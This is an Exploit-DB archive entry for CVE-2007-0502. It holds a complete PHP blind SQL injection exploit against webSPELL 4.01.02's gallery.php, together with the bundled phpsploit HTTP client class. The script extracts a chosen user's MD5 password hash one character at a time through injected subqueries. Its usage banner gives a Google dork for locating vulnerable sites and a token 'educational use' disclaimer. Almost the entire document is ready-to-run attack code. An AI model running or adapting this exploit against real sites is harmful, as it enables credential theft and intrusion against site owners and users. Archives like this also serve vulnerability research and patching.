标题: webSPELL 4.01.02 - 'gallery.php' Blind SQL Injection EDB-ID: 3172 CVE: 2007-0502 类型: WEBAPPS 平台: PHP 发布日期: 2007-01-21 漏洞利用脚本: <?php

//webSPELL SQL-injection exploit in gallery.php
$xpl = new phpsploit();
$xpl->allowredirection(1);
$xpl->cookiejar(1);

function istrue($xpl,$host,$path,$prefix,$gid,$pid,$uid,$i,$h){
 $xpl->get("http://".$host.$path."gallery.php?action=window&galleryID=".$gid."&picID=".$pid."%20AND%20MID((SELECT%20password%20FROM%20".$prefix."user%20WHERE%20userID=".$uid."),".$i.",1)=CHAR(".$h.")");
 $response=$xpl->getcontent();
 $regex='/<html><head><title>webSPELL Diashow: (.+?)<\/title>/';
 if (preg_match($regex,$response)) {
  return true;
 }
 else return false;
}
if($_SERVER['argc']==7 or $_SERVER['argc']==8){
 $host=$_SERVER['argv'][1];
 $path=$_SERVER['argv'][2];
 $prefix=$_SERVER['argv'][3];
 $gid=$_SERVER['argv'][4];
 $pid=$_SERVER['argv'][5];
 $uid=$_SERVER['argv'][6];
 if($_SERVER['argc']==8){
  $proxy=$_SERVER['argv'][7];
  echo "Proxy: $proxy \n";
  $xpl->proxy($proxy); 
 }
 $xpl->agent('Internet Explorer');
 echo"exploiting...\n";
 echo"md5-hash: ";
 for ($i=1;$i<=32;$i++){
  $found=false;
  $h=48;
  while (!$found and $h<=57) {
   if(istrue($xpl,$host,$path,$prefix,$gid,$pid,$uid,$i,$h)){
    $found=true;
    echo chr($h);
   }
   $h++;
  }
  if(!$found){
   $h=97;
   while (!$found and $h<=122) {
    if(istrue($xpl,$host,$path,$prefix,$gid,$pid,$uid,$i,$h)){
     $found=true;
     echo chr($h);
    }
    $h++;
   }
  }
 }
}
else{
 echo"\n\n";
 echo"|=======webSPELL v4.01.02 gallery.php SQL Injection========\n";
 echo"|\n";
 echo"|Syntax: php ".$_SERVER['argv'][0]." [host] [path] [prefix] [valid GalleryID] [valid PicID] [valid UserID] ([Proxy-IP:Port])\n|\n";
 echo"|Example (with Proxy): php ".$_SERVER['argv'][0]." localhost /webspell/ webs_ 1 1 1 192.168.1.1:80\n|\n";
 echo"|Example (without Proxy): php ".$_SERVER['argv'][0]." localhost /webspell/ webs_ 1 1 1\n|\n";
 echo"|Notes: This exploit works regardless of the PHP security settings (magic_quotes, register_globals)\n";
 echo"|       This exploit is only for educational use, use it on your own risk!\n";
 echo"|       Exploiting scripts without permission of the owner of the webspace is illegal!\n";
 echo"|       I'm not responsible for any resulting damage\n|\n";
 echo"|Google Dork: \"this site is using the webspell script (version: 4.01.02)\"\n|\n";
 echo"|Exploit found by r00t (rootcoding@gmail.com)\n";
}

/*
* 
* Copyright (C) darkfig
* 
* This program is free software; you can redistribute it and/or 
* modify it under the terms of the GNU General Public License 
* as published by the Free Software Foundation; either version 2 
* of the License, or (at your option) any later version. 
* 
* This program is distributed in the hope that it will be useful, 
* but WITHOUT ANY WARRANTY; without even the implied warranty of 
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
* GNU General Public License for more details. 
* 
* You should have received a copy of the GNU General Public License 
* along with this program; if not, write to the Free Software 
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
* 
* TITLE:          PhpSploit Class
* REQUIREMENTS:   PHP 5 (remove "private", "public" if you have PHP 4)
* VERSION:        1.1
* LICENSE:        GNU General Public License
* ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
* FILENAME:       phpsploitclass.php
*
* CONTACT:        gmdarkfig@gmail.com (french / english)
* GREETZ:         Sparah, Ddx39
*
* DESCRIPTION:
* The phpsploit is a class implementing a web user agent.
* You can add cookies, headers, use a proxy server with (or without) a
* basic authentification. It supports the GET and the POST method. It can
* also be used like a browser with the cookiejar() function (which allow
* a server to add several cookies for the next requests) and the
* allowredirection() function (which allow the script to follow all
* redirections sent by the server). It can return the content (or the
* headers) of the request. Others useful functions can be used for debugging.
* A manual is actually in development but to know how to use it, you can
* read the comments.
*
* CHANGELOG:
* [2006-12-31] (1.1)
*  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
*  * New: You can now call the getheader() / getcontent() function without parameters
*
* [2006-12-30] (1.0)
*  * First version
* 
*/

class phpsploit {

 /**
 * This function is called by the get()/post() functions.
 * You don't have to call it, this is the main function.
 *
 * @return $server_response
 */
 private function sock()
 {
  if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
  else $socket = fsockopen($this->host,$this->port);
  
  if(!$socket) die("Error: The host doesn't exist");
  
  if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
  elseif($this->method==="post") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
  else die("Error: Invalid method");
  
  if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
  $this->packet .= "Host: ".$this->host."\r\n";
  
  if(!empty($this->agent))  $this->packet .= "User-Agent: ".$this->agent."\r\n";
  if(!empty($this->header)) $this->packet .= $this->header."\r\n";
  if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
  
  $this->packet .= "Connection: Close\r\n";
  if($this->method==="post")
  {
   $this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
   $this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
   $this->packet .= $this->data."\r\n";
  }
  $this->packet .= "\r\n";
  $this->recv = '';
  
  fputs($socket,$this->packet);
  while(!feof($socket)) $this->recv .= fgets($socket);
  fclose($socket);
  
  if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
  if($this->allowredirection) return $this->allowredirection($this->recv);
  else return $this->recv;
 }
 

 /**
 * This function allows you to add several cookie in the
 * request. Several methods are supported:
 * 
 * $this->addcookie("name","value");
 * or
 * $this->addcookie("name=newvalue");
 * or
 * $this->addcookie("othername=overvalue; xx=zz; y=u");
 * 
 * @param string $cookiename
 * @param string $cookievalue
 * 
 */
 public function addcookie($cookn,$cookv='')
 {
  // $this->addcookie("name","value"); work avec replace
  if(!empty($cookv))
  {
   if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
   if(!empty($this->cookie))
   {
    if(preg_match("/$cookn=/",$this->cookie))
    {
     $this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
    }
    else
    {
     $this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
    }
   }
   else
   {
    $this->cookie = $cookn."=".$cookv.";";
   }
  }
  // $this->addcookie("name=value; othername=othervalue");
  else
  {
   if(!empty($this->cookie))
   {
    $cookn = preg_replace("/(.*);$/","$1",$cookn);
    $cookarr = explode(";",str_replace(" ", "",$cookn));
    for($i=0;$i<count($cookarr);$i++)
    {
     preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
     $cookn = $matches[1];
     $cookv = $matches[2];
     $this->addcookie($cookn,$cookv);
    }
   }
   else
   {
    $cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
    $this->cookie = $cookn;   
   }
  }
 }
 
 
 /**
 * This function allows you to add several headers in the
 * request. Several methods are supported:
 *
 * $this->addheader("headername","headervalue");
 * or
 * $this->addheader("headername: headervalue");
 *
 * @param string $headername
 * @param string $headervalue
 */
 public function addheader($headern,$headervalue='')
 {
  // $this->addheader("name","value");
  if(!empty($headervalue))
  {
   if(!empty($this->header))
   {
    if(preg_match("/$headern:/",$this->header))
    {
     $this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
    }
    else
    {
     $this->header .= "\r\n".$headern.": ".$headervalue;
    }
   }
   else
   {
    $this->header=$headern.": ".$headervalue;
   }
  }
  // $this->addheader("name: value");
  else 
  {
   if(!empty($this->header))
   {
    $headarr = explode(": ",$headern);
    $headern = $headarr[0];
    $headerv = $headarr[1];
    $this->addheader($headern,$headerv);
   }
   else
   {
    $this->header=$headern;
   }
  }
 }
 

 /**
 * This function allows you to use an http proxy server.
 * Several methods are supported:
 * 
 * $this->proxy("proxyip","8118");
 * or
 * $this->proxy("proxyip:8118")
 *
 * @param string $proxyhost
 * @param integer $proxyport
 */
 public function proxy($proxy,$proxyp='')
 {
  // $this->proxy("localhost:8118");
  if(empty($proxyp))
  {
   preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
   $proxh = $proxarr[1];
   $proxp = $proxarr[2];
   $this->proxyhost=$proxh;
   $this->proxyport=$proxp;
  }
  // $this->proxy("localhost",8118);
  else 
  {
   $this->proxyhost=$proxy;
   $this->proxyport=intval($proxyp);
  }
  if($this->proxyport > 65535) die("Error: Invalid port number");
 }
 

 /**
 * This function allows you to use an http proxy server
 * which requires a basic authentification. Several
 * methods are supported:
 * 
 * $this->proxyauth("darkfig","dapasswd");
 * or
 * $this->proxyauth("darkfig:dapasswd");
 *
 * @param string $proxyuser
 * @param string $proxypass
 */
 public function proxyauth($proxyauth,$proxypasse='')
 {
  // $this->proxyauth("darkfig:password");
  if(empty($proxypasse))
  {
   preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
   $proxu = $proxautharr[1];
   $proxp = $proxautharr[2];
   $this->proxyuser=$proxu;
   $this->proxypass=$proxp;
  }
  // $this->proxyauth("darkfig","password");
  else
  {
   $this->proxyuser=$proxyauth;
   $this->proxypass=$proxypasse;
  }
 }

 
 /**
 * This function allows you to set the "User-Agent" header.
 * Several methods are possible to do that:
 * 
 * $this->agent("Mozilla Firefox");
 * or
 * $this->addheader("User-Agent: Mozilla Firefox");
 * or
 * $this->addheader("User-Agent","Mozilla Firefox");
 * 
 * @param string $useragent
 */
 public function agent($useragent)
 {
  $this->agent=$useragent;
 }

 
 /**
 * This function returns the header which will be
 * in the next request.
 * 
 * $this->showheader();
 *
 * @return $header
 */
 public function showheader()
 {
  return $this->header;
 }

 
 /**
 * This function returns the cookie which will be
 * in the next request.
 * 
 * $this->showcookie();
 *
 * @return $storedcookies
 */
 public function showcookie()
 {
  return $this->cookie;
 }

 
 /**
 * This function returns the last formed
 * http request (the http packet).
 * 
 * $this->showlastrequest();
 * 
 * @return $last_http_request
 */
 public function showlastrequest()
 {
  return $this->packet;
 }
 
 
 /**
 * This function sends the formed http packet with the
 * GET method. You can precise the port of the host.
 * 
 * $this->get("http://localhost");
 * $this->get("http://localhost:888/xd/tst.php");
 * 
 * @param string $urlwithpath
 * @return $server_response
 */
 public function get($url)
 {
  $this->target($url);
  $this->method="get";
  return $this->sock();
 }

 
 /**
 * This function sends the formed http packet with the
 * POST method. You can precise the port of the host.
 * 
 * $this->post("http://localhost/index.php","admin=1&user=dark");
 *
 * @param string $urlwithpath
 * @param string $postdata
 * @return $server_response
 */ 
 public function post($url,$data)
 {
  $this->target($url);
  $this->method="post";
  $this->data=$data;
  return $this->sock();
 }

 
 /**
 * This function returns the content of the server response
 * without the headers.
 * 
 * $this->getcontent($this->get("http://localhost/"));
 * or
 * $this->getcontent();
 *
 * @param string $server_response
 * @return $onlythecontent
 */
 public function getcontent($code='')
 {
  if(empty($code)) $code = $this->recv;
  $content = explode("\n",$code);
  $onlycode = '';
  for($i=1;$i<count($content);$i++)
  {
   if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
   if($ok) $onlycode .= $content[$i]."\n";
  }
  return $onlycode;
 }

 
 /**
 * This function returns the headers of the server response
 * without the content.
 * 
 * $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
 * or
 * $this->getheader();
 *
 * @param string $server_response
 * @return $onlytheheaders
 */
 public function getheader($code='')
 {
  if(empty($code)) $code = $this->recv;
  $header = explode("\n",$code);
  $onlyheader = $header[0]."\n";
  for($i=1;$i<count($header);$i++)
  {
   if(!preg_match("/^(\S*):/",$header[$i])) break;
   $onlyheader .= $header[$i]."\n";
  }
  return $onlyheader;
 }

 
 /**
 * This function is called by the cookiejar() function.
 * It adds the value of the "Set-Cookie" header in the "Cookie"
 * header for the next request. You don't have to call it.
 * 
 * @param string $server_response
 */
 private function getcookie($code)
 {
  $carr = explode("\n",str_replace("\r\n","\n",$code));
  for($z=0;$z<count($carr);$z++)
  {
   if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
   {
    $cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
   }
  }

  for($i=0;$i<count($cookie);$i++)
  {
   preg_match("/(\S*)=(\S*);/",$cookie[$i],$matches);
   $cookn = $matches[1];
   $cookv = $matches[2];
   $this->addcookie($cookn,$cookv);
  }
 }

 
 /**
 * This function is called by the get()/post() functions.
 * You don't have to call it.
 *
 * @param string $urltarg
 */
 private function target($urltarg)
 {
  if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
  $this->url=$urltarg;
  
  $array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
  $this->host=$array[0];

  preg_match("/:(\d+)\//",$urltarg,$matches);
  $this->port=empty($matches[1]) ? 80 : $matches[1];
  
  $temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
  preg_match("/\/(.*)\//",$temp,$matches);
  $this->path=str_replace("//","/","/".$matches[1]."/");
  
  if($this->port > 65535) die("Error: Invalid port number");
 }
 
 
 /**
 * If you call this function, the script will
 * extract all "Set-Cookie" headers values
 * and it will automatically add them into the "Cookie" header
 * for all next requests.
 *
 * $this->cookiejar(1); // enabled
 * $this->cookiejar(0); // disabled
 * 
 */
 public function cookiejar($code)
 {
  if($code===0) $this->cookiejar='';
  if($code===1) $this->cookiejar=1;
  else
  {
   $this->getcookie($code);
  }
 }


 /**
 * If you call this function, the script will
 * follow all redirections sent by the server.
 * 
 * $this->allowredirection(1); // enabled
 * $this->allowredirection(0); // disabled
 * 
 * @return $this->get($locationresponse)
 */
 public function allowredirection($code)
 {
  if($code===0) $this->allowredirection='';
  if($code===1) $this->allowredirection=1;
  else
  {
   if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
   {
    $location = str_replace(chr(13),'',$codearr[2]);
    if(!eregi("://",$location))
    {
     return $this->get("http://".$this->host.$this->path.$location);
    }
    else
    {
     return $this->get($location);
    }
   }
   else
   {
    return $code;
   }
  }
 }
 
 
 /**
 * This function allows you to reset some parameters:
 * 
 * $this->reset(header); // headers cleaned
 * $this->reset(cookie); // cookies cleaned
 * $this->reset();       // clean all parameters
 *
 * @param string $func
 */
 public function reset($func='')
 {
  switch($func)
  {
  case "header":
   $this->header='';
   break;
   
  case "cookie":
   $this->cookie='';
   break;
   
  default:
   $this->cookiejar='';
   $this->header='';
   $this->cookie='';
   $this->allowredirection=''; 
   $this->agent='';
   break;
  }
 }
}

?>

# milw0rm.com [2007-01-21] URL: https://www.exploit-db.com/exploits/3172